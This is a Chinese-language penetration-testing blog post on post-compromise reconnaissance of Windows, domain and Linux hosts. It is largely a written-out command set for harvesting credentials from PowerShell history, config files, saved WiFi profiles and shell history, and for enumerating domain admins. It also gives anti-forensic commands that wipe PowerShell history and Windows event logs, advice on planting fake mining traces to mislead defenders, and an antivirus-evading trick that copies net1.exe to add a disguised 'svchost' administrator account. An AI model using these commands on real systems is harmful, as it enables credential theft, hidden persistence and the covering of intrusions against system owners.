论渗透信息收集的重要性
前言
本文仅用于交流学习, 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
主机信息收集
Windows主机信息收集
powershell命令历史记录
可以使用powershell进行查看
powershell Get-Content (Get-PSReadlineOption).HistorySavePath
image
某些情况下,该命令可能无法使用,我们可先用dir查看powershell历史命令记录文件的存放位置,然后使用type进行读取
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
image
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
image
【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线
PS:打点时遇到Windows环境的文件下载漏洞,可下载以下文件进行敏感信息翻阅,某些运维会使用powershell进行管理工作组或域内机器,运气好的可以找到ssh、数据库这类登录密码或其它重要文件,尤其是一些运维用的脚本,里面大多包含主机、数据库登录密码,可通过powershell历史记录找到这些脚本的绝对路径,然后在使用文件下载漏洞进行读取,这也是一个不错的突破点,而且这些历史命令大多包含链接主机信息,可提取里面的IP段,扩宽我们的攻击面。
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
应急溯源的同学也可以看看这个文件,说不定会发现些蛛丝马迹
渗透结束时,如果使用过powershell的,务必清除powershell命令历史记录,在一定程度上可以减少被溯源成功的概率,当然,也可以迷惑蓝队,写入一些奇怪的命令,例如把上线的C2地址更改为境外的已公开IOC情报的挖矿IP,然后丢进来几个挖坑样本,误导蓝队进行溯源消耗防守方的精力,伪造痕迹的时候记得更改文件时间,还得注意下语言文字这些细节,不然蓝队看到中文名字、错误语法和时间的挖矿,结合攻防演练时间,第一时间肯定会知道这是伪造出来的,如果内网存在IDS这样的流量审计设备,蓝队一定位机器查看设备流量,说不定还可能暴露我们的踪迹。
清除powershell历史运行命令记录
powershell Remove-Item (Get-PSReadlineOption).HistorySavePath
查看历史打开文件
这目录里面放着电脑的历史打开文件记录,看过什么文件、什么时候,包括点过那几个盘,都很详细的记录,我们可通过该目录定位运维常用的文件夹、文件等,寻找敏感信息,查看这个目录往往有奇效,很多时候运维为了方便管理机器喜欢用密码小本本来记录各个机器的密码,毕竟一个运维管理几十台机器是非常常见,这么多密码不一定记得住,所以大多数运维会选择把机器密码记录在txt、xls这种文件里,这也就给了我们可乘之机,其实我在这个目录遇到最多的还是运维写的日报、周报,很多时候这些报告里面包含了大量服务器信息,这时候我们就可以通过这些敏感信息进一步内网横向。
recent
image
大多数时候我们的起点都是webshell权限,如果没有判断管理员是否在线,是否有IDS这种流量检测设备,那么在第一时间最好不要冒然远程过去,不然就是得不偿失了;recent无法使用,这时候我们可以使用dir读取历史打开文件,然后再利用dir搜索关键字得到文件的绝对路径,这样我们就可以直接在webshell中进行查看或下载回来本地打开了。
dir %APPDATA%\Microsoft\Windows\Recent
dir C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent
dir /a /s /b c:\password.txt
image
image
其它的常用关键字搜索,
dir /a /s /b c:\*.conf *.ini *.inc *.config
dir /a /s /b c:\conf.* config.*
dir /a /s /b c:\*.txt *.xls *.xlsx *.docx
findstr /s /i /n /d:C:\ /c:"pass" *.config
某些时候显示内容过多,可对这些关键字进行逐个搜索,或使用findstr进行过滤,如:
dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维"
dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码"
image
另外可到回收站翻翻,很多时候会有惊喜。
前面说到了recent目录记录到了查看历史打开文件,在后渗透时,我们通常会往目标机子上传各种文件,例如nps、mimikatz、psexec等,这些工具在使用过程中,大多会在recent目录产生记录,这时候为了更好的隐藏痕迹,我们可以rd命令删除运行记录或直接使用CS或webshell管理工具提供的文件管理功能删除该记录,另外psexec成功登录退出后,会在目标机器的安全日志中产生Event 4624、4628、4634,在系统日志中产生Event 7045(记录PSEXESVC安装)、Event 7036(记录PSEXESVC服务状态),Windows日志也需要处理下;关于清理痕迹不是本文的主题,就不多赘述了,对于应急的同学可以多关注下recent文件夹和Windows日志,在不手动清理或者使用某些安全工具清理垃圾的时候,recent这个目录为空或者很少东西,那么应该要注意下了。
rd /s 文件
image
windows 日志路径:
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
IIS默认日志位置:%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
powershell清除Windows事件日志
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
PS:上传后的文件如果不能删除(没权限或其它因素),那么可以上传或新建同名文件,覆盖掉原有文件。
敏感文件寻找
- 服务器、中间件、数据库这类配置文件。
- 运维密码、工作记录、个人记录这些。
- 公司文件、合同、网络拓扑图这类。
- ……
服务器、中间件、数据库这类配置文件的重要性大家都懂,渗透的时候如果获取到一个包含大量敏感信息的配置文件,那将会为我们在后渗透作出良好的铺垫,如下。
某次项目时,拿到一个存在内网的shell,通过对主机信息收集,发现某配置文件Config-back.xml包含了大量的数据库账号密码,之后使用CS下载该配置文件到本地,然后搭建代理利用这些账号密码批量上线MSSQL主机,再结合这些密码制作出高质量字典爆破C段机器,用了不到30分钟拿到了200多台机器权限,所以说渗透的本质是信息搜集,信息搜集的量决定着我们渗透的成果,关于配置文件的查找这里就不多说了,可参考上面的dir命令进行查找。
dir /a /s /b d:\conf.* config.*
image
另外就是要多关注下web系统本身存放的文件,之前遇到过一个IBM系统,里面有个云盘功能,之后翻这个功能模块找到了个运维建立的文件夹,里面存放了大量的数据,什么网络拓扑图、运维日志、甚至还有账号密码,还有的就是做等保渗透的时候,远程到运维机,桌面一大堆设备清单,还有各个系统的账号密码,而且这些xlsx表格都是不加密的,直接打开就能查看,一些运维为了贪图方便,往往会非常严重的安全隐患,给了入侵者很大的机会。
这里再补充一下WiFi密码获取这个点,在内网渗透,密码获取到的越多,路就越好走,很多时候内网的密码都是通用的,就算是不通用,大部分的密码也是有规律可循的,关于密码的获取可使用LaZagne
CMD获取WiFi密码
netsh wlan show profiles
netsh wlan show profiles name="WiFi名称" key=clear
通过for循环一次性获取全部WiFi密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
image
如果已经取得当前机器的管理员权限的话,可运行mimikatz、procdump之类凭据获取工具获取系统凭据,因为多数管理员可能使用同一密码或有规律性的密码来管理多台服务器,如果能够得到主机密码或者hash就可以尝试pth或psexec批量上线了;还有就是在进程收集的时候要多留意一下是否有域管启用的进程,如果刚好域管理员登录过我们已经有权限的机器,那么就可以利用域管进程进行横向了,如果没有的话可关注下ms14068,域委派这类东西,这些都是后渗透基本常识了,这里不多赘述。
域信息收集常用命令
常用命令
net use 查看ipc连接情况
net user /domain 获取域用户列表
net user test 123 /add 添加用户
neet localgroup administrators test /add 添加test用户到管理组,一般情况下,管理组才能远程桌面
net group /domain 查询域里面的组
net group "domain admins" /domain 获取域管理员列表
net group "enterprise admins" /domain 查看当前域中企业管理员组用户
net group "domain computers" /domain 查看当前域中的所有的计算机名(登录过该域的计算机)
net group "exchange servers" /domain 查看域内是否存在Exchange
net group "domain controllers" /domain 查看域控制器(如果有多台)
net config workstation 查看当前登录域
net view 查看同一域内机器列表
net view \\ip 查看某IP共享
net view \\test 查看test计算机的共享资源列表
net view /domain 查看内网存在多少个域
Net view /domain:test 查看test域中的机器列表
wmic useraccount get Caption,sid 获取域内所有用户sid
setspn -T target.com -Q */* 获取当前域内所有spn
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i"ttl"
for /l %i in (1,1,255) do @ping 10.10.10.%i -w 1 -n 1 | find /i"ttl"
网络信息查找
ipconfig /all 查看当前主机的主机名/IP/DNS等信息
route print 查看路由表信息
netstat -ano 查看端口开放情况,有些时候能获取到别的IP段
arp -a 查看arp解析情况
寻找内网网段时建议被动寻找,主动寻找动静太大,如nmap、nbtscan这种一扫,可能整个网段内存活的机器就出来了,但随之而来的是IDS的流量审计,一旦引起流量异常被蓝队察觉,可能就会导致我们权限的丢失,永远不要小瞧蓝队,而且还是拥有各种安全设备的蓝队,内网渗透一定要谨慎,大规模资产扫描,自动化漏洞扫描我一般会留到最后才上的。
定位域控
查看域时间,一般域控会做时间服务器
net time /domain
通过dns定位域控
ipconfig /allipconfig /displaydns 有些时候可以在dns缓存得到域控信息
利用netdom获取域控列表,得到域控名称可通过ping获取域控IP
netdom query dc
image
其它信息查找
systeminfo 查看补丁情况,也能看到当前机器是否加入域环境
net group "domain controllers" /domain 查询域控
nslookup -type=SRV _ldap._tcp.corp 通过srv记录获取域控地址
nltest /dclist:corp 使用nltest查询域控列表
tasklist /svc 查看进程及对应服务名
cmdkey /l 查看当前保存的登陆凭证
type c:\Windows\system32\drivers\etc\hosts 可以发现些内网IP
其它补充
web日志
有些老系统会使用get+明文的方式传输后台登录账号密码,我们可翻查下web日志,说不定有收获,还有就是要注意系统本身的日志,这些日志大多包含内网IP段,甚至还有账号密码这些东西。
image
另外可找找FTP,很多时候内网FTP都是可以未授权访问的,就算有密码,大多都是弱口令或规律性、通用性的密码,是否能成功登陆就要看我们信息收集的深度了,FTP大多包含部门或公司敏感文件,可多关注一下。
image使用net1.exe绕过杀软添加用户
windows环境渗透添加用户往往会被AV拦截,而且还会产生告警日志,这时候可使用net1.exe绕过杀软添加用户,当然,也可使用cs自带的argue参数污染进行用户添加。
net1.exe
cd c:/windows/system32
copy net1.exe svchost.txt
svchost.txt user svchost M@Bas#as#@123 /add
net localgroup administrators svchost /add
svchost.txt user svchost M@Bas#as#@123 /add & net localgroup administrators svchost /add
argue参数污染
net1 argue net1 aaaaaaaaaaaaaaaaaaaaaaaassssssssssssssssssssssssssssssssssssssssssssssssss
execute net1 user svchost M@Bas#as#@123 /add
execute net1 localgroup administrators svchost /add
正常使用net添加用户会被火绒拦截
image image删除用户火绒也无感知
image添加用户并加到管理员组
m1kh.txt user m1kh M@Bas#as#@123 /add & net localgroup administrators m1kh /add
image
linux主机信息收集
网络信息收集
last 多数运维会接入内网登录系统,这时候,便可获取部分内网ip 进而对内网IP段进行画像
Ifconfig -a/arp -a/netstat -anopt/ss -nt 这些就不多说了
Route -n 内网路由情况,也能为内网网络拓扑提供一定的信息
IPtables 防火墙情况,有时候会存在内网网络通行规则,也能提供一定信息
....
敏感文件收集
grep "password:" * -Rn
find / -name "config.*"
find / -name "databases.*"
find / -name "config.*" | xargs grep "password""
image
其它补充
- history
history 在linux渗透时是非常实用的,各种连接密码,ssh、mysql、ftp等等,在拿到权限是应该着重看看这个文件
- 数据库
取得数据库权限后,除了收集账号密码外,也可翻查一下日志、登录记录这些看看有没有内网的其它IP资产,遇到过多个站点共用一个mysql数据库的情况,然后里面记录了多个系统的后台账号密码,我们可以利用这些账号密码登录其它系统进行漏洞挖掘,遇到后台文件上传、rce这些说不定还能上线一台主机,多一个内网据点。
- 日志
linux的那些日志就不多说了,需要注意的是GET传参登录的系统,可多看看日志,收集到账号密码对后续渗透会有所帮助,当然,大部分时候我们需要webshell权限才能查看日志,这时候我们可以扫描下目录找找日志,或结合Spring boot httptrace进行利用。
再谈谈数据库内的日志记录,有些数据库兼具日志记录功能,会记录到用户登录的IP,在拿下数据库权限后,可找找有没有这些东西,说不定就能获取到另一个内网IP段了,增大我们横向的攻击面。
image其它的就是ssh私钥和运维脚本这些了,说到底信息收集还是需要结合目标场景而定。
小结
以上只是一些个人见解,说的也比较片面、不全,我认为渗透需要随机应变,日复一日用这同样的方式解决同样的问题,思维就会变得僵化了,这样会导致我们在渗透时变得不再仔细审视和认真思考,用僵化的思维去做渗透往往会使我们错失良机,在攻防过程中除了需要保持良好的心态与清晰的思路外,更要不断的进行思考以避免失误。